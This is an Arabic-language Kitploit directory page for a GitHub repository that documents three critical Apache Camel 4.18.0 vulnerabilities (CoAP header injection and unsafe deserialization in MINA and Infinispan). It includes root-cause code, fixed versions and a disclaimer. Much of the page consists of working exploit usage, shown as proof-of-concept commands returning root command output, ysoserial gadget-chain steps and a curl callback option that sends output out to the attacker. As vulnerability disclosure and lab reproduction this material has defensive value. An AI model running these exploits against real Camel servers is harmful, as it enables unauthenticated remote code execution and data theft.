Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33453 — يوفر استغلالات إثبات المفهوم العاملة وتحليلاً مفصلاً لثلاث ثغرات حرجة في Apache Camel، بما في ذلك حقن رؤوس CoAP وإلغاء التسلسل غير الآمن الذي يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2026-33453
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمراستغلال الملفات الثنائية
GitHubdinosn/cve-2026-33453

CVE-2026-33453

يوفر استغلالات إثبات المفهوم العاملة وتحليلاً مفصلاً لثلاث ثغرات حرجة في Apache Camel، بما في ذلك حقن رؤوس CoAP وإلغاء التسلسل غير الآمن الذي يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Apache Camel 4.18.0 — تقييم أمني لثغرات CVE

ثلاث ثغرات حرجة في Apache Camel 4.18.0، تم اكتشافها والتحقق منها بشكل مستقل مع استغلالات (PoC) عاملة.

CVEالمكوّنالنوعCVSSالحكم
CVE-2026-33453camel-coapحقن في الترويسات → تنفيذ كود عن بُعد10.0 حرجةقابل للاستغلال
CVE-2026-40473camel-minaإلغاء تسلسل غير آمن → تنفيذ كود عن بُعد9.8 حرجةقابل للاستغلال
CVE-2026-40858camel-infinispanإلغاء تسلسل غير آمن8.8 عاليةقابل للاستغلال

CVE-2026-33453: حقن في ترويسات CoAP → تنفيذ كود عن بُعد

المكوّن: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (تحكم غير سليم في تعديل سمات الكائنات) تم الإصلاح في: Camel 4.18.1 / 4.14.6

السبب الجذري

يقوم CamelCoapResource.handleRequest() بتعيين معاملات استعلام URI الخاصة بـ CoAP مباشرةً في ترويسات Camel Exchange عبر setHeader() دون أي HeaderFilterStrategy. يمتد CoAPEndpoint من DefaultEndpoint بدلاً من DefaultHeaderFilterStrategyEndpoint، لذا يمكن لأي عميل غير مصادق حقن الترويسات الداخلية ذات البادئة Camel*.

عندما يتم توجيه المسار إلى camel-exec، تقوم الترويسات CamelExecCommandExecutable و CamelExecCommandArgs التي يتحكم فيها المهاجم بتجاوز الأمر المُهيأ، مما يحقق تنفيذ كود عن بُعد قبل المصادقة عبر حزمة UDP واحدة.

root@kitploit:~
// CamelCoapResource.java:103-109 — لا يوجد HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

نتيجة PoC

CoAP RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...

CVE-2026-40473: إلغاء تسلسل غير آمن في MINA → تنفيذ كود عن بُعد

المكوّن: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (إلغاء تسلسل بيانات غير موثوقة) تم الإصلاح في: Camel 4.18.2 / 4.14.6 / 4.20.0

السبب الجذري

يقوم MinaConverter.toObjectInput(IoBuffer) بإنشاء java.io.ObjectInputStream خام بدون ObjectInputFilter. عندما يتم تكوين نقطة نهاية MINA مع allowDefaultCodec=false، تصل بيانات TCP الخام كـ IoBuffer وتصل إلى محول أنواع Camel، الذي يستدعي هذه الطريقة — ملفوفًا بايتات الشبكة التي يتحكم فيها المهاجم في ObjectInputStream غير مُصفى.

root@kitploit:~
// MinaConverter.java:60-63 — لا يوجد ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // بايتات يتحكم فيها المهاجم، بدون FILTER
}

مسار الهجوم: يستهدف الاستغلال نقطة نهاية MINA عبر TCP مع allowDefaultCodec=false (المنفذ 9879 في PoC). هذا يتجاوز طبقة الترميز في MINA بالكامل — حيث أن ObjectSerializationCodecFactory لديه قائمة سماح ClassNameMatcher خاصة به كانت ستحظر الفئات العشوائية. مع تعطيل الترميز، تتدفق البايتات الخام مباشرةً إلى MinaConverter.toObjectInput() التي تنشئ ObjectInputStream قياسيًا بدون أي تصفية للفئات.

سلسلة أدوات CommonsCollections6 (عبر ysoserial) تحقق تنفيذ أوامر عشوائية بصلاحيات الجذر. يتم إرسال مخرجات الأوامر عبر استدعاء curl إلى المهاجم.

نتيجة PoC

MINA RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

إعادة إنتاج CVE-2026-40473 خطوة بخطوة

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.8+
  • Java 17+ (لـ ysoserial)
  • ysoserial — ysoserial-all.jar (أداة CommonsCollections6)

الخطوة 1: بناء وتشغيل الخادم الضعيف

root@kitploit:~
cd poc/
docker compose up -d --build

انتظر حتى يبدأ الحاوية، ثم تحقق:

root@kitploit:~
docker logs vuln-camel-mina

يجب أن ترى:

MINA Setup

root@kitploit:~
[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...

المنفذ 9879 هو الهدف — يستخدم allowDefaultCodec=false، مما يعطل مرشح الترميز في MINA ويسمح لـ IoBuffer الخام بالوصول إلى MinaConverter.toObjectInput() غير المُصفى في Camel.

الخطوة 2: تأكيد إلغاء التسلسل (وضع الفحص)

أولاً، تحقق من أن نقطة النهاية تقبل وتلغي تسلسل كائنات Java عشوائية بدون ObjectInputFilter:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA Probe

root@kitploit:~
[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection

يرسل الفحص HashMap متسلسلًا. يقوم الخادم بإلغاء تسلسله عبر ObjectInputStream.readObject() بدون InvalidClassException — مما يؤكد عدم وجود تصفية للفئات.

الخطوة 3: تنفيذ الأوامر (RCE كامل)

مع توفر ysoserial، استغل إلغاء التسلسل غير المُصفى لتنفيذ أوامر عشوائية:

root@kitploit:~
# Execute 'id' — returns uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Read files
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# System info
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

يقوم الاستغلال بإنشاء سلسلة أدوات CommonsCollections6، ويرسلها كبايتات خام إلى المنفذ 9879، ويلتقط مخرجات الأوامر عبر مستمع استدعاء curl.

خيارات الاستغلال

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           Target IP/hostname
  port             MINA TCP port (default: 9879)
  command          Command to execute (default: id)
  --ysoserial      Path to ysoserial.jar (auto-detected if not set)
  --callback-host  Host the container uses to reach you (default: host.docker.internal)
  --gadget         ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
  --probe          Probe mode only — confirm deserialization without RCE
  --raw            Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)

ملاحظة: القيمة الافتراضية لـ --callback-host هي host.docker.internal (Docker Desktop). إذا كنت تعمل على Linux بدون Docker Desktop، استخدم --callback-host 172.17.0.1 أو عنوان جسر Docker الخاص بك.

الخطوة 4: التنظيف

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: إلغاء تسلسل غير آمن في Infinispan

المكوّن: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (إلغاء تسلسل بيانات غير موثوقة) تم الإصلاح في: Camel 4.18.2 / 4.14.7 / 4.20.0

السبب الجذري

يقوم DefaultExchangeHolderUtils.deserialize(byte[]) بإنشاء ClassLoadingAwareObjectInputStream بدون ObjectInputFilter. يقوم DefaultExchangeHolderProtoAdapter بتوجيه بايتات ذاكرة التخزين المؤقت في Infinispan مباشرةً إلى هذه الطريقة. المهاجم الذي لديه صلاحيات كتابة في ذاكرة التخزين المؤقت (منفذ Hot Rod 11222 أو REST API) يحقن حمولة متسلسلة خبيثة يتم إلغاء تسلسلها عندما يجلب مستودع التجميع المفتاح.

هذا هو نفس نمط الثغرات CVE-2024-22369 و CVE-2024-23114 و CVE-2026-25747 — جميعها حالات غير مُصلحة من readObject() بدون ObjectInputFilter في مسارات إلغاء التسلسل في Camel.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — لا يوجد ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // يتحكم فيه المهاجم
    }
}

الكود الضعيف

Infinispan Vulnerable Code


الكود الضعيف مع التعليقات

Vulnerable Code Annotated


إعادة إنتاج الثغرات الثلاث

المتطلبات الأساسية

  • Docker و Docker Compose
  • Python 3.8+
  • Java 17+ (لـ ysoserial)
  • ysoserial لسلاسل أدوات RCE الكاملة (CVE-2026-40473)

البناء والتشغيل

root@kitploit:~
cd poc/
docker compose up -d --build

يبدأ هذا:

  • vuln-camel-coap — نقطة نهاية CoAP على منفذ UDP 5683 مع مسار camel-exec
  • vuln-camel-mina — نقاط نهاية MINA عبر TCP على المنافذ 9877 (transferExchange)، 9878 (ObjectSerializationCodecFactory)، و 9879 (TCP خام — الهدف الأساسي للهجوم)
  • infinispan — خادم Infinispan على المنفذ 11222
  • vuln-camel-infinispan — مستودع تجميع Camel مدعوم بـ Infinispan

تشغيل الاستغلالات

root@kitploit:~
# CVE-2026-33453: حقن في ترويسات CoAP → تنفيذ كود عن بُعد
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: إلغاء تسلسل غير آمن في MINA → تنفيذ كود عن بُعد (انظر التعليمات التفصيلية أعلاه)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: إلغاء تسلسل غير آمن في Infinispan
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

التنظيف

root@kitploit:~
cd poc/
docker compose down

عملية التقييم

تم إجراء هذا التقييم باستخدام إطار عمل RAPTOR للبحث الأمني المستقل:

  1. البحث — تحديد جميع الثغرات الثلاث، ومطابقة إصلاحات الالتزامات لتحديد Apache Camel 4.18.0 كإصدار ضعيف واحد
  2. الحصول على المصدر — تنزيل المكونات الضعيفة عبر git sparse-checkout (camel-coap، camel-mina، camel-infinispan)
  3. الفحص (/scan) — اكتشاف الثغرات تلقائيًا عبر جميع المكونات الثلاثة
  4. الفهم (/understand --map) — رسم خريطة سطح الهجوم: نقاط الدخول، حدود الثقة، المصارف، تدفقات البيانات غير المُتحقق منها
  5. التحقق (/validate) — خط أنابيب تحقق كامل من 8 مراحل (المراحل 0 → A → B → C → D → E → F → 1) يؤكد أن جميع النتائج الثلاث حقيقية وقابلة للوصول والاستغلال
  6. الاستغلال (/exploit) — تطوير PoC عامل مع بيئة اختبار قائمة على Docker
  7. التوثيق — لقطات شاشة وتقرير استغلال وهذا README

الإصلاحات

CVEإصدار الإصلاحالتغيير
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → يمتد من DefaultHeaderFilterStrategyEndpoint؛ CoAPComponent → ينفذ HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0إضافة ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") قبل readObject()
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0إضافة قائمة سماح ObjectInputFilter (بنفس النمط)؛ الرجوع إلى مرشح تسلسل JVM إذا تم تكوينه

إخلاء المسؤولية

هذا البحث مخصص لاختبار الأمان المصرح به والأغراض التعليمية فقط. تم اختبار جميع الاستغلالات ضد حاويات Docker المبنية محليًا والتي تعمل ببرامج ضعيفة. قم بالترقية إلى الإصدارات المُصلحة المذكورة أعلاه.

تنزيل الأداة